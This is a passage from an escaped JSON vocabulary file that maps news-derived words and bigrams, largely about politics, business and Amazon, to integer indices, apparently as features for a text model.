preschool\": 165256,\n  \"holdtheir nose\": 165257,\n  \"100000 trust\": 165258,\n  \"dozen protesters\": 165259,\n  \"rt yes\": 165260,\n  \"omens streaming\": 165261,\n  \"abrams continue\": 165262,\n  \"home 2018\": 165263,\n  \"state representative\": 165264,\n  \"elections source\": 165265,\n  \"housekeeping\": 165266,\n  \"authoritative reporting\": 165267,\n  \"large companies\": 165268,\n  \"firs\": 165269,\n  \"criminal running\": 165270,\n  \"heart inviting\": 165271,\n  \"merchant data\": 165272,\n  \"sports marketing\": 165273,\n  \"childhood diseases\": 165274,\n  \"alphabet stock\": 165275,\n  \"passes assume\": 165276,\n  \"help carry\": 165277,\n  \"opaque\": 165278,\n  \"rightful escalation\": 165279,\n  \"arlington based\": 165280,\n  \"394 shares\": 165281,\n  \"microsoft offerup\": 165282,\n  \"eat people\": 165283,\n  \"macrovector freepik\": 165284,\n  \"venture aimed\": 165285,\n  \"killer walmart\": 165286,\n  \"brilliant example\": 165287,\n  \"containerid\": 165288,\n  \"user psychology\": 165289,\n  \"upping exposure\": 165290,\n  \"eventually lured\": 165291,\n  \"competition allows\": 165292,\n  \"codex fundamentals\": 165293,\n  \"trump talks\": 165294,\n  \"ordinary stuff\": 165295,\n  \"actual data\": 165296,\n  \"mit joy\": 165297,\n  \"patricof\": 165298,\n  \"encouraged investors\": 165299,\n  \"expects hundreds\": 165300,\n  \"district reports\": 165301,\n  \"regulated later\": 165302,\n  \"fail amazon\": 165303,\n  \"emotion attributes\": 165304,\n  \"kovach amazon\": 165305,\n  \"shattered peace\": 165306,\n  \"corporation don\": 165307,\n  \"residential deliveries\": 165308,\n  \"clip bolduan\": 165309,\n  \"main st\": 165310,\n  \"taxing big\": 165311,\n  \"public critiques\": 165312,\n  \"number tracing\": 165313,\n  \"citywide council\": 165314,\n  \"target stores\": 165315,\n  \"solomon explains\": 165316,\n  \"clinton tyle\": 165317,\n  \"makers lly\": 165318,\n  \"christmas greeting\": 165319,\n  \"regulations govern\": 165320,\n  \"vendors receive\": 165321,\n  \"revenue forces\": 165322,\n  \"consumer debt\": 165323,\n  \"just called\": 165324,\n  \"cautioned trump\": 165325,\n  \"harrowing life\": 165326,\n  \"rail extension\": 165327,\n  \"reality headsets\": 165328,\n  \"major tech\": 165329,\n  \"massive debt\": 165330,\n  \"170 countries\": 165331,\n  \"jacinta gonzalez\": 165332,\n  \"trump michael\": 165333,\n  \"player owned\": 165334,\n  \"suggested venturebeat\": 165335,\n  \"office wapo\": 165336,\n  \"stars\": 165337,\n  \"frustrate\": 165338,\n  \"recurring segment\": 165339,\n  \"park allows\": 165340,\n  \"social environment\": 165341,\n  \"sourceamazon puzder\": 165342,\n  \"bins\": 165343,\n  \"emergency col\": 165344,\n  \"crediting\": 165345,\n  \"candidates fail\": 165346,\n  \"look familiar\": 165347,\n  \"enrique\": 165348,\n  \"slave\": 165349,\n  \"markets inched\": 165350,\n  \"previous worked\": 165351,\n  \"vast authentic\": 165352,\n  \"did bezos\": 165353,\n  \"sanchez turned\": 165354,\n  \"consumer subscribers\": 165355,\n  \"democratic president\": 165356,\n  \"rebuilding reviving\": 165357,\n  \"sector unions\": 165358,\n  \"director continued\": 165359,\n  \"ext exlarge\": 165360,\n  \"620 employees\": 165361,\n  \"suit brought\": 165362,\n  \"watch rep\": 165363,\n  \"furnishings sector\": 165364,\n  \"bad hersfeld\": 165365,\n  \"current congress\": 165366,\n  \"defence contracts\": 165367,\n  \"bezos investigator\": 165368,\n  \"lighter duty\": 165369,\n  \"detective surprisingly\": 165370,\n  \"navigate housing\": 165371,\n  \"great pension\": 165372,\n  \"budapest hungary\": 165373,\n  \"big maybe\": 165374,\n  \"titans\": 165375,\n  \"sides quickly\": 165376,\n  \"ships packages\": 165377,\n  \"ecommerce heavyweight\": 165378,\n  \"software rose\": 165379,\n  \"ashes\": 165380,\n  \"orvis\": 165381,\n  \"fear rating\": 165382,\n  \"doubleday biography\": 165383,\n  \"flubbed\": 165384,\n  \"altria possibly\": 165385,\n  \"forests\": 165386,\n  \"fail bezos\": 165387,\n  \"remain jailed\": 165388,\n  \"administration regulators\": 165389,\n  \"escalated quickly\": 165390,\n  \"intentions years\": 165391,\n  \"handicap\": 165392,\n  \"lebanese syrian\": 165393,\n  \"blistering stock\": 165394,\n  \"karen\": 165395,\n  \"workforce development\": 165396,\n  \"expect fully\": 165397,\n  \"positions bigger\": 165398,\n  \"joffre taylor\": 165399,\n  \"clubs groups\": 165400,\n  \"largest electronics\": 165401,\n  \"wallace inspired\": 165402,\n  \"report shows\": 165403,\n  \"encouraging think\": 165404,\n  \"energy fuels\": 165405,\n  \"fcpa\": 165406,\n  \"updating lost\": 165407,\n  \"sachs analyst\": 165408,\n  \"comment share\": 165409,\n  \"oil exporters\": 165410,\n  \"amazon 613\": 165411,\n  \"promoted president\": 165412,\n  \"fame bbc\": 165413,\n  \"writers organization\": 165414,\n  \"katsu\": 165415,\n  \"past 2030\": 165416,\n  \"site whilst\": 165417,\n  \"trump lock\": 165418,\n  \"sus\": 165419,\n  \"optical illusion\": 165420,\n  \"tweeting criticisms\": 165421,\n  \"sharing information\": 165422,\n  \"trump arguing\": 165423,\n  \"bulky items\": 165424,\n  \"called swing\": 165425,\n  \"feeding frenzy\": 165426,\n  \"diagnosed\": 165427,\n  \"sanjeev mohan\": 165428,\n  \"america dodge\": 165429,\n  \"brazile\": 165430,\n  \"inverting yield\": 165431,\n  \"similar calls\": 165432,\n  \"230 metropolitan\": 165433,\n  \"inflation posts\": 165434,\n  \"areas siddiqui\": 165435,\n  \"denied having\": 165436,\n  \"night mocked\": 165437,\n  \"administration review\": 165438,\n  \"deep concern\": 165439,\n  \"rabobank\": 165440,\n  \"financial sanctions\": 165441,\n  \"information bezos\": 165442,\n  \"launches apple\": 165443,\n  \"laws dodges\": 165444,\n  \"upgraded delivery\": 165445,\n  \"glitterati\": 165446,\n  \"yang campaign\": 165447,\n  \"pulling john\": 165448,\n  \"defend trump\": 165449,\n  \"massive job\": 165450,\n  \"prayers\": 165451,\n  \"tax benefit\": 165452,\n  \"crimes happening\": 165453,\n  \"inc_react_displayflag true\": 165454,\n  \"quite compelling\": 165455,\n  \"lawmaker jo\\u0119nia\": 165456,\n  \"pineiro president\": 165457,\n  \"adm\": 165458,\n  \"job engine\": 165459,\n  \"confusing\": 165460,\n  \"nations agency\": 165461,\n  \"lovejoy\": 165462,\n  \"iranian president\": 165463,\n  \"specifically target\": 165464,\n  \"margins today\": 165465,\n  \"american killed\": 165466,\n  \"study diet\": 165467,\n  \"2018 godwink\": 165468,\n  \"elites spew\": 165469,\n  \"contention amazon\": 165470,\n  \"certainly possible\": 165471,\n  \"facebook messenger\": 165472,\n  \"official position\": 165473,\n  \"helped chase\": 165474,\n  \"general wrotea\": 165475,\n  \"publishersnewswire\": 165476,\n  \"strength nasdaq\": 165477,\n  \"ferrar million\": 165478,\n  \"2017 event\": 165479,\n  \"time doing\": 165480,\n  \"enduring long\": 165481,\n  \"outdoor brands\": 165482,\n  \"placing insurance\": 165483,\n  \"actors accountable\": 165484,\n  \"bloodletting\": 165485,\n  \"slightly broader\": 165486,\n  \"exclusive possession\": 165487,\n  \"obama shirt\": 165488,\n  \"olympics reporter\": 165489,\n  \"ami admitted\": 165490,\n  \"food diary\": 165491,\n  \"suppressing good\": 165492,\n  \"exposing david\": 165493,\n  \"amazon wages\": 165494,\n  \"tailings\": 165495,\n  \"ansolabehere professor\": 165496,\n  \"time wealth\": 165497,\n  \"domiciled\": 165498,\n  \"quick meals\": 165499,\n  \"article concluding\": 165500,\n  \"giant exerts\": 165501,\n  \"invited wide\": 165502,\n  \"longer pursuing\": 165503,\n  \"var i9\": 165504,\n  \"time weakening\": 165505,\n  \"transporting drug\": 165506,\n  \"market debut\": 165507,\n  \"josh miller\": 165508,\n  \"slamming amazon\": 165509,\n  \"location countless\": 165510,\n  \"tensions surrounding\": 165511,\n  \"acmi contracts\": 165512,\n  \"willens file\": 165513,\n  \"outspoken\": 165514,\n  \"spending billions\": 165515,\n  \"amazon takeover\": 165516,\n  \"seek secrecy\": 165517,\n  \"wherethey\": 165518,\n  \"landless encampment\": 165519,\n  \"goodman business\": 165520,\n  \"chan\": 165521,\n  \"smoky today\": 165522,\n  \"lifting longstanding\": 165523,\n  \"burnett outfront\": 165524,\n  \"story terrence\": 165525,\n  \"a4ee m1\": 165526,\n  \"encourage culture\": 165527,\n  \"competition sectors\": 165528,\n  \"make community\": 165529,\n  \"icap\": 165530,\n  \"amazon sucks\": 165531,\n  \"sen addabbo\": 165532,\n  \"financial breaches\": 165533,\n  \"director john\": 165534,\n  \"employee stated\": 165535,\n  \"gros fromage\": 165536,\n  \"founding amazon\": 165537,\n  \"200 industry\": 165538,\n  \"today pic\": 165539,\n  \"etf nasdaq\": 165540,\n  \"explosive\": 165541,\n  \"centre costs\": 165542,\n  \"new special\": 165543,\n  \"printing letters\": 165544,\n  \"ocean global\": 165545,\n  \"late 1970s\": 165546,\n  \"canada china\": 165547,\n  \"teo\": 165548,\n  \"smiled broadly\": 165549,\n  \"viewpoint suppose\": 165550,\n  \"asean trade\": 165551,\n  \"dod wants\": 165552,\n  \"post photo\": 165553,\n  \"vitale\": 165554,\n  \"man spreads\": 165555,\n  \"wardrobe disappeared\": 165556,\n  \"record earnings\": 165557,\n  \"amazon ranked\": 165558,\n  \"overwhelmingly white\": 165559,\n  \"help results\": 165560,\n  \"hurt amazon\": 165561,\n  \"reconcilable commitment\": 165562,\n  \"competition brazil\": 165563,\n  \"justawittybit\": 165564,\n  \"pentagon effort\": 165565,\n  \"investigation really\": 165566,\n  \"reportedly experiencing\": 165567,\n  \"case entails\": 165568,\n  \"bit\": 165569,\n  \"activists reacted\": 165570,\n  \"previously derided\": 165571,\n  \"promote merchandise\": 165572,\n  \"approximately 000\": 165573,\n  \"headache persists\": 165574,\n  \"reportedly colluded\": 165575,\n  \"global stocks\": 165576,\n  \"plot thickened\": 165577,\n  \"hitherto absolutely\": 165578,\n  \"italy food\": 165579,\n  \"reputations livelihoods\": 165580,\n  \"prospects munster\": 165581,\n  \"department regulations\": 165582,\n  \"inexpensive amazon\": 165583,\n  \"benefits citing\": 165584,\n  \"significant expertise\": 165585,\n  \"year including\": 165586,\n  \"advertising video\": 165587,\n  \"india richest\": 165588,\n  \"claims aside\": 165589,\n  \"porri sainsbury\": 165590,\n  \"declaring victory\": 165591,\n  \"reviews calling\": 165592,\n  \"outnumbered puts\": 165593,\n  \"blow things\": 165594,\n  \"chien noted\": 165595,\n  \"wsj laura\": 165596,\n  \"report google\": 165597,\n  \"ballard resident\": 165598,\n  \"post protecting\": 165599,\n  \"dbx etf\": 165600,\n  \"sheet power\": 165601,\n  \"dear\": 165602,\n  \"talking collusion\": 165603,\n  \"lambs\": 165604,\n  \"trump strikes\": 165605,\n  \"political desperation\": 165606,\n  \"erecting\": 165607,\n  \"investigating alleged\": 165608,\n  \"colleague claire\": 165609,\n  \"create category\": 165610,\n  \"branded products\": 165611,\n  \"giving conservatives\": 165612,\n  \"alexandra shipp\": 165613,\n  \"exas shares\": 165614,\n  \"tv reporter\": 165615,\n  \"transforming\": 165616,\n  \"management systems\": 165617,\n  \"orphaned\": 165618,\n  \"overcame aggressive\": 165619,\n  \"care analyst\": 165620,\n  \"rico\": 165621,\n  \"programming copyright\": 165622,\n  \"packages landing\": 165623,\n  \"nyse txn\": 165624,\n  \"political stunt\": 165625,\n  \"phases\": 165626,\n  \"brings results\": 165627,\n  \"reines\": 165628,\n  \"deep freeze\": 165629,\n  \"mean sure\": 165630,\n  \"1541\": 165631,\n  \"just trump\": 165632,\n  \"news bret\": 165633,\n  \"tanquilut took\": 165634,\n  \"todayshow\": 165635,\n  \"saying hey\": 165636,\n  \"780 type\": 165637,\n  \"york audience\": 165638,\n  \"borowitz\": 165639,\n  \"billions dodging\": 165640,\n  \"tax calculator\": 165641,\n  \"backdating\": 165642,\n  \"consider reading\": 165643,\n  \"journal columnist\": 165644,\n  \"cuseum app\": 165645,\n  \"saut chief\": 165646,\n  \"brett molina\": 165647,\n  \"000 schools\": 165648,\n  \"opinion sen\": 165649,\n  \"month seattle\": 165650,\n  \"critically wounded\": 165651,\n  \"favours political\": 165652,\n  \"dynasty thousand\": 165653,\n  \"mail reported\": 165654,\n  \"salacious texts\": 165655,\n  \"privately advised\": 165656,\n  \"winning columnist\": 165657,\n  \"news jeff\": 165658,\n  \"gould defense\": 165659,\n  \"manhattan properties\": 165660,\n  \"delivery capacity\": 165661,\n  \"california country\": 165662,\n  \"disruptive billionaires\": 165663,\n  \"building political\": 165664,\n  \"bellevue washington\": 165665,\n  \"soller hanya\": 165666,\n  \"sources telling\": 165667,\n  \"incredible convenience\": 165668,\n  \"films suggest\": 165669,\n  \"traditionally defended\": 165670,\n  \"david kahan\": 165671,\n  \"scott desjarlais\": 165672,\n  \"trump threw\": 165673,\n  \"reporting functions\": 165674,\n  \"wsj wsj\": 165675,\n  \"temper future\": 165676,\n  \"process called\": 165677,\n  \"promote organizations\": 165678,\n  \"avoiding conflicts\": 165679,\n  \"make separating\": 165680,\n  \"musk facebook\": 165681,\n  \"heightening\": 165682,\n  \"year argues\": 165683,\n  \"individual investors\": 165684,\n  \"airbus ceo\": 165685,\n  \"installation\": 165686,\n  \"tm provide\": 165687,\n  \"president woodward\": 165688,\n  \"moment brother\": 165689,\n  \"adding overall\": 165690,\n  \"science videos\": 165691,\n  \"book releases\": 165692,\n  \"doorstep currently\": 165693,\n  \"oppo devices\": 165694,\n  \"using built\": 165695,\n  \"oflikely\": 165696,\n  \"run powered\": 165697,\n  \"john rossomando\": 165698,\n  \"unwanted visitors\": 165699,\n  \"sponsor free\": 165700,\n  \"toys spurred\": 165701,\n  \"stuffer gift\": 165702,\n  \"constantly quote\": 165703,\n  \"state sultan\": 165704,\n  \"remains focused\": 165705,\n  \"timely cuse\": 165706,\n  \"shinzo\": 165707,\n  \"tapaj\\u00f3s mega\": 165708,\n  \"considered quitting\": 165709,\n  \"tweeted amazon\": 165710,\n  \"week talks\": 165711,\n  \"vendors need\": 165712,\n  \"17th\": 165713,\n  \"larkin\": 165714,\n  \"evening yes\": 165715,\n  \"expeditions took\": 165716,\n  \"largest firms\": 165717,\n  \"attracting criticism\": 165718,\n  \"ire multiple\": 165719,\n  \"today subscribe\": 165720,\n  \"circulation ami\": 165721,\n  \"memory wrong\": 165722,\n  \"weekend criticized\": 165723,\n  \"halts oil\": 165724,\n  \"cooling\": 165725,\n  \"credit allows\": 165726,\n  \"face include\": 165727,\n  \"inhuman conditions\": 165728,\n  \"demonstrates\": 165729,\n  \"slate nicole\": 165730,\n  \"1960s having\": 165731,\n  \"dramatically increasing\": 165732,\n  \"christmas seasons\": 165733,\n  \"npis\": 165734,\n  \"making brick\": 165735,\n  \"tabloid nbc\": 165736,\n  \"despite republican\": 165737,\n  \"qanon conspiracy\": 165738,\n  \"moore graywolf\": 165739,\n  \"hasn provided\": 165740,\n  \"stiff competition\": 165741,\n  \"reporting sex\": 165742,\n  \"business partners\": 165743,\n  \"suggestion send\": 165744,\n  \"murderous cult\": 165745,\n  \"consider outrageous\": 165746,\n  \"sleeved button\": 165747,\n  \"leading voice\": 165748,\n  \"heaven\": 165749,\n  \"jetsons\": 165750,\n  \"1270x734 uploaded_files\": 165751,\n  \"potential crackdown\": 165752,\n  \"unknown extent\": 165753,\n  \"antitrust reasons\": 165754,\n  \"carpal\": 165755,\n  \"perfectly natural\": 165756,\n  \"conductor gustavo\": 165757,\n  \"sternly\": 165758,\n  \"coast guard\": 165759,\n  \"prominent companies\": 165760,\n  \"cms inhibit\": 165761,\n  \"steemit\": 165762,\n  \"food drink\": 165763,\n  \"judged fewer\": 165764,\n  \"harry abrams\": 165765,\n  \"original source\": 165766,\n  \"addeventlistener r4ee\": 165767,\n  \"make hush\": 165768,\n  \"presidential untruths\": 165769,\n  \"nearing\": 165770,\n  \"mail theft\": 165771,\n  \"best long\": 165772,\n  \"ejyejuwyxo\": 165773,\n  \"distant lunch\": 165774,\n  \"lmao\": 165775,\n  \"percenters\": 165776,\n  \"bristle\": 165777,\n  \"accusing fox\": 165778,\n  \"ideaof voting\": 165779,\n  \"synopsis\": 165780,\n  \"billion sanders\": 165781,\n  \"contracting makes\": 165782,\n  \"charities cca\": 165783,\n  \"byrne\": 165784,\n  \"self respective\": 165785,\n  \"contains number\": 165786,\n  \"driving rings\": 165787,\n  \"korean bbq\": 165788,\n  \"potential deals\": 165789,\n  \"calif based\": 165790,\n  \"suggested facebook\": 165791,\n  \"000 containers\": 165792,\n  \"outlines litany\": 165793,\n  \"janet\": 165794,\n  \"europe holding\": 165795,\n  \"house ext\": 165796,\n  \"half right\": 165797,\n  \"typo\": 165798,\n  \"ohio west\": 165799,\n  \"news thanks\": 165800,\n  \"briscobrands\": 165801,\n  \"multiple business\": 165802,\n  \"painted picture\": 165803,\n  \"transportation network\": 165804,\n  \"unique products\": 165805,\n  \"projects billion\": 165806,\n  \"day today\": 165807,\n  \"says tax\": 165808,\n  \"compete directly\": 165809,\n  \"rich returning\": 165810,\n  \"opened factories\": 165811,\n  \"wasn jersey\": 165812,\n  \"powered aircraft\": 165813,\n  \"mere suggestion\": 165814,\n  \"offer kremer\": 165815,\n  \"prevent abusive\": 165816,\n  \"moment amazon\": 165817,\n  \"shortcomings legal\": 165818,\n  \"dollars president\": 165819,\n  \"natives flooding\": 165820,\n  \"comment neil\": 165821,\n  \"rates washington\": 165822,\n  \"gloomier estimates\": 165823,\n  \"skype nokia\": 165824,\n  \"product endorsement\": 165825,\n  \"thesenate\": 165826,\n  \"personality don\": 165827,\n  \"streetwear collab\": 165828,\n  \"originalimageurl cdn\": 165829,\n  \"increase oil\": 165830,\n  \"caputo refused\": 165831,\n  \"figures amazon\": 165832,\n  \"newspaper paper\": 165833,\n  \"alan boyle\": 165834,\n  \"rick wilking\": 165835,\n  \"damning\": 165836,\n  \"alluring presentation\": 165837,\n  \"losing elections\": 165838,\n  \"senate right\": 165839,\n  \"torpedoing\": 165840,\n  \"momsdemand\": 165841,\n  \"emergency photo\": 165842,\n  \"payoffs\": 165843,\n  \"mail order\": 165844,\n  \"won say\": 165845,\n  \"apple tv\": 165846,\n  \"slate\": 165847,\n  \"twitter politiseeds\": 165848,\n  \"employee asks\": 165849,\n  \"violence vatican\": 165850,\n  \"step forward\": 165851,\n  \"spookiest\": 165852,\n  \"planted\": 165853,\n  \"2016 shortly\": 165854,\n  \"wedbush maintains\": 165855,\n  \"backlash fbi\": 165856,\n  \"man announced\": 165857,\n  \"2016 headlined\": 165858,\n  \"immigration topic\": 165859,\n  \"guiding spirit\": 165860,\n  \"certain segments\": 165861,\n  \"malinchak\": 165862,\n  \"noel\": 165863,\n  \"containing directives\": 165864,\n  \"win handily\": 165865,\n  \"tom hiddleston\": 165866,\n  \"suleiman inviting\": 165867,\n  \"buddies abc\": 165868,\n  \"news sites\": 165869,\n  \"2013 aws\": 165870,\n  \"delineating\": 165871,\n  \"suing wapo\": 165872,\n  \"douglas superintendent\": 165873,\n  \"reporter asked\": 165874,\n  \"latest tariffs\": 165875,\n  \"bezos hired\": 165876,\n  \"galloway\": 165877,\n  \"london amazon\": 165878,\n  \"bernadette baum\": 165879,\n  \"worth texas\": 165880,\n  \"woods\": 165881,\n  \"lgbt marriage\": 165882,\n  \"soiling\": 165883,\n  \"dprk\": 165884,\n  \"hotel just\": 165885,\n  \"tipped\": 165886,\n  \"offer wide\": 165887,\n  \"paints grim\": 165888,\n  \"similar proposals\": 165889,\n  \"oral sex\": 165890,\n  \"mark amazon\": 165891,\n  \"chef provides\": 165892,\n  \"written great\": 165893,\n  \"arrangements benefiting\": 165894,\n  \"little engagement\": 165895,\n  \"telemark\": 165896,\n  \"amazon thoughts\": 165897,\n  \"shows weed\": 165898,\n  \"sandhya taneja\": 165899,\n  \"bet retirement\": 165900,\n  \"individual ownership\": 165901,\n  \"supporting electoral\": 165902,\n  \"people threatening\": 165903,\n  \"chrysler withdraws\": 165904,\n  \"letter ellison\": 165905,\n  \"creating stories\": 165906,\n  \"program erroneously\": 165907,\n  \"federal agencies\": 165908,\n  \"consumers data\": 165909,\n  \"hemingway\": 165910,\n  \"cities left\": 165911,\n  \"temporarily ran\": 165912,\n  \"kitchen utensil\": 165913,\n  \"right trump\": 165914,\n  \"manager josh\": 165915,\n  \"headlines think\": 165916,\n  \"artisan\": 165917,\n  \"das losing\": 165918,\n  \"wildfires ohio\": 165919,\n  \"time 2018\": 165920,\n  \"consider changes\": 165921,\n  \"problem staying\": 165922,\n  \"brazilian dictatorship\": 165923,\n  \"broad onerous\": 165924,\n  \"faced small\": 165925,\n  \"costs earlier\": 165926,\n  \"america trade\": 165927,\n  \"warned users\": 165928,\n  \"wide web\": 165929,\n  \"amazon stock\": 165930,\n  \"backward looking\": 165931,\n  \"135\": 165932,\n  \"minor\": 165933,\n  \"ceremony ring\": 165934,\n  \"searches begin\": 165935,\n  \"huh najarian\": 165936,\n  \"influence media\": 165937,\n  \"pregnant women\": 165938,\n  \"promotional rate\": 165939,\n  \"blasio worst\": 165940,\n  \"barrier\": 165941,\n  \"greater phoenix\": 165942,\n  \"year contract\": 165943,\n  \"digest\": 165944,\n  \"devices haven\": 165945,\n  \"supporting immigrants\": 165946,\n  \"owns 395\": 165947,\n  \"slather\": 165948,\n  \"powerful employer\": 165949,\n  \"paper reporting\": 165950,\n  \"robert sietsema\": 165951,\n  \"grocery store\": 165952,\n  \"random r4ee\": 165953,\n  \"considering filing\": 165954,\n  \"proposal does\": 165955,\n  \"term trump\": 165956,\n  \"hire booking\": 165957,\n  \"clear ultimately\": 165958,\n  \"faces worker\": 165959,\n  \"story detailing\": 165960,\n  \"killed ivanka\": 165961,\n  \"florida rep\": 165962,\n  \"eternal sunshine\": 165963,\n  \"prime delivery\": 165964,\n  \"ford indonesia\": 165965,\n  \"relative handful\": 165966,\n  \"eliminator a4ee\": 165967,\n  \"album space\": 165968,\n  \"government entities\": 165969,\n  \"fun\": 165970,\n  \"ridgewood\": 165971,\n  \"antoni\": 165972,\n  \"paedos executed\": 165973,\n  \"sexism\": 165974,\n  \"holzer\": 165975,\n  \"ebay according\": 165976,\n  \"firm evidence\": 165977,\n  \"suggestion loup\": 165978,\n  \"heavy duty\": 165979,\n  \"israeli authorities\": 165980,\n  \"llc covering\": 165981,\n  \"ellie laurel\": 165982,\n  \"lamb foto\": 165983,\n  \"size queen\": 165984,\n  \"gay council\": 165985,\n  \"fold pg\": 165986,\n  \"police renewed\": 165987,\n  \"add thousands\": 165988,\n  \"companies based\": 165989,\n  \"card lending\": 165990,\n  \"failures zuker\": 165991,\n  \"just politically\": 165992,\n  \"california whooping\": 165993,\n  \"major action\": 165994,\n  \"practice trying\": 165995,\n  \"related titles\": 165996,\n  \"micro adds\": 165997,\n  \"aws regions\": 165998,\n  \"inheritance hawaii\": 165999,\n  \"work better\": 166000,\n  \"market history\": 166001,\n  \"book rise\": 166002,\n  \"close paris\": 166003,\n  \"octopuses\": 166004,\n  \"gained touch\": 166005,\n  \"follow ser\": 166006,\n  \"cap welcome\": 166007,\n  \"little los\": 166008,\n  \"small town\": 166009,\n  \"drug free\": 166010,\n  \"strong selection\": 166011,\n  \"portrayal\": 166012,\n  \"potential ferry\": 166013,\n  \"john blackledge\": 166014,\n  \"objectively assess\": 166015,\n  \"000 vans\": 166016,\n  \"multiple outlets\": 166017,\n  \"announcement ciecko\": 166018,\n  \"post ipo\": 166019,\n  \"7million\": 166020,\n  \"option amazon\": 166021,\n  \"amazing teacher\": 166022,\n  \"negative opinions\": 166023,\n  \"expensive brake\": 166024,\n  \"equally mistaken\": 166025,\n  \"members questioned\": 166026,\n  \"election president\": 166027,\n  \"videopinner setisvideocollection\": 166028,\n  \"service board\": 166029,\n  \"amazon vintage\": 166030,\n  \"consumer products\": 166031,\n  \"uncoupling statement\": 166032,\n  \"kimber\": 166033,\n  \"story horrible\": 166034,\n  \"south new\": 166035,\n  \"chris rupkey\": 166036,\n  \"vital corroboration\": 166037,\n  \"customers moved\": 166038,\n  \"ulta amazon\": 166039,\n  \"drafting\": 166040,\n  \"providing tech\": 166041,\n  \"000 indigenous\": 166042,\n  \"online tv\": 166043,\n  \"women deb\": 166044,\n  \"boston startup\": 166045,\n  \"past critics\": 166046,\n  \"cash reserve\": 166047,\n  \"fund esl\": 166048,\n  \"companies earning\": 166049,\n  \"erasing\": 166050,\n  \"linton\": 166051,\n  \"contracts analysts\": 166052,\n  \"depaolo joe_depaolo\": 166053,\n  \"start denying\": 166054,\n  \"opening gw\": 166055,\n  \"republicans dumped\": 166056,\n  \"ami deal\": 166057,\n  \"sectors big\": 166058,\n  \"city employment\": 166059,\n  \"republican leaders\": 166060,\n  \"communications shift\": 166061,\n  \"underrepresented minority\": 166062,\n  \"angeles news\": 166063,\n  \"america groveling\": 166064,\n  \"area officials\": 166065,\n  \"record levels\": 166066,\n  \"bond king\": 166067,\n  \"economic adviser\": 166068,\n  \"false img_rightsflag\": 166069,\n  \"involved box\": 166070,\n  \"expensive homes\": 166071,\n  \"valuable corporation\": 166072,\n  \"book versions\": 166073,\n  \"current seattle\": 166074,\n  \"executive orders\": 166075,\n  \"monopoly based\": 166076,\n  \"criticizes unfavorable\": 166077,\n  \"soothing beauty\": 166078,\n  \"icann insiders\": 166079,\n  \"service shifted\": 166080,\n  \"hernandez murder\": 166081,\n  \"invention happening\": 166082,\n  \"glenview\": 166083,\n  \"making seattle\": 166084,\n  \"classmate alyssa\": 166085,\n  \"ryan season\": 166086,\n  \"videocollectionurl\": 166087,\n  \"stakes 210\": 166088,\n  \"big boost\": 166089,\n  \"friend katerina\": 166090,\n  \"tennessee ___\": 166091,\n  \"guy jeff\": 166092,\n  \"research park\": 166093,\n  \"correspondent facebook\": 166094,\n  \"2tn\": 166095,\n  \"legendary guests\": 166096,\n  \"awarding\": 166097,\n  \"randi marshall\": 166098,\n  \"electronic wrath\": 166099,\n  \"story tom\": 166100,\n  \"elbow\": 166101,\n  \"help disney\": 166102,\n  \"lets entrepreneurs\": 166103,\n  \"association necessarily\": 166104,\n  \"added value\": 166105,\n  \"announce officially\": 166106,\n  \"life advice\": 166107,\n  \"mac\": 166108,\n  \"beings\": 166109,\n  \"outstanding stock\": 166110,\n  \"complaints\": 166111,\n  \"white supremacist\": 166112,\n  \"net 5067014667001\": 166113,\n  \"consultant nationally\": 166114,\n  \"inflation 2018\": 166115,\n  \"jpg uploaded_files\": 166116,\n  \"haaland johnson\": 166117,\n  \"congress rolled\": 166118,\n  \"bible claims\": 166119,\n  \"including refusing\": 166120,\n  \"replace gross\": 166121,\n  \"reap amazon\": 166122,\n  \"new zealander\": 166123,\n  \"disproved\": 166124,\n  \"vainly\": 166125,\n  \"acquisition anytime\": 166126,\n  \"hanna departure\": 166127,\n  \"california cable\": 166128,\n  \"6th arrived\": 166129,\n  \"precisely\": 166130,\n  \"sign bruce\": 166131,\n  \"tightened workplace\": 166132,\n  \"quote link\": 166133,\n  \"prices amazon\": 166134,\n  \"free trump\": 166135,\n  \"696\": 166136,\n  \"ignite\": 166137,\n  \"rising cents\": 166138,\n  \"pitch just\": 166139,\n  \"sparked rally\": 166140,\n  \"cap stocks\": 166141,\n  \"plunge drops\": 166142,\n  \"challenging situation\": 166143,\n  \"average order\": 166144,\n  \"paid 129m\": 166145,\n  \"statement reversing\": 166146,\n  \"foreign nationals\": 166147,\n  \"smart ass\": 166148,\n  \"gop know\": 166149,\n  \"dillard foto\": 166150,\n  \"erstwhile presidential\": 166151,\n  \"president suspicious\": 166152,\n  \"frequently targeting\": 166153,\n  \"recent complaint\": 166154,\n  \"hard line\": 166155,\n  \"devastating promising\": 166156,\n  \"skin color\": 166157,\n  \"adventurer drug\": 166158,\n  \"make minority\": 166159,\n  \"2018 noting\": 166160,\n  \"students thompson\": 166161,\n  \"today close\": 166162,\n  \"continue raising\": 166163,\n  \"cellphone just\": 166164,\n  \"justice kennedy\": 166165,\n  \"bargaining powers\": 166166,\n  \"washable\": 166167,\n  \"race interesting\": 166168,\n  \"ceo world\": 166169,\n  \"foreclose\": 166170,\n  \"costing usps\": 166171,\n  \"iphone compatible\": 166172,\n  \"burn unit\": 166173,\n  \"unique lot\": 166174,\n  \"yotam\": 166175,\n  \"0cbed4decce7 source\": 166176,\n  \"netflix filed\": 166177,\n  \"earth according\": 166178,\n  \"times reports\": 166179,\n  \"obama summer\": 166180,\n  \"2016 2017\": 166181,\n  \"include alibaba\": 166182,\n  \"different accounts\": 166183,\n  \"caretaker\": 166184,\n  \"intruding\": 166185,\n  \"pricing trump\": 166186,\n  \"finances shows\": 166187,\n  \"ph\": 166188,\n  \"dominance poses\": 166189,\n  \"upcoming opening\": 166190,\n  \"weeks long\": 166191,\n  \"firmly\": 166192,\n  \"complicated process\": 166193,\n  \"fairly similar\": 166194,\n  \"unique power\": 166195,\n  \"digital market\": 166196,\n  \"fox london\": 166197,\n  \"david betras\": 166198,\n  \"advertising long\": 166199,\n  \"sheffieldissuper cork\": 166200,\n  \"cynthia nixon\": 166201,\n  \"engineers utilized\": 166202,\n  \"channel correspondent\": 166203,\n  \"shanahan audition\": 166204,\n  \"watch american\": 166205,\n  \"toyota alcoa\": 166206,\n  \"looming partial\": 166207,\n  \"h6a m6a\": 166208,\n  \"office seizes\": 166209,\n  \"china central\": 166210,\n  \"foreign born\": 166211,\n  \"negated\": 166212,\n  \"amazon 270\": 166213,\n  \"cousins\": 166214,\n  \"did fedex\": 166215,\n  \"easy stupid\": 166216,\n  \"judge overruled\": 166217,\n  \"abortion expand\": 166218,\n  \"trump criminal\": 166219,\n  \"total q2\": 166220,\n  \"domain incite\": 166221,\n  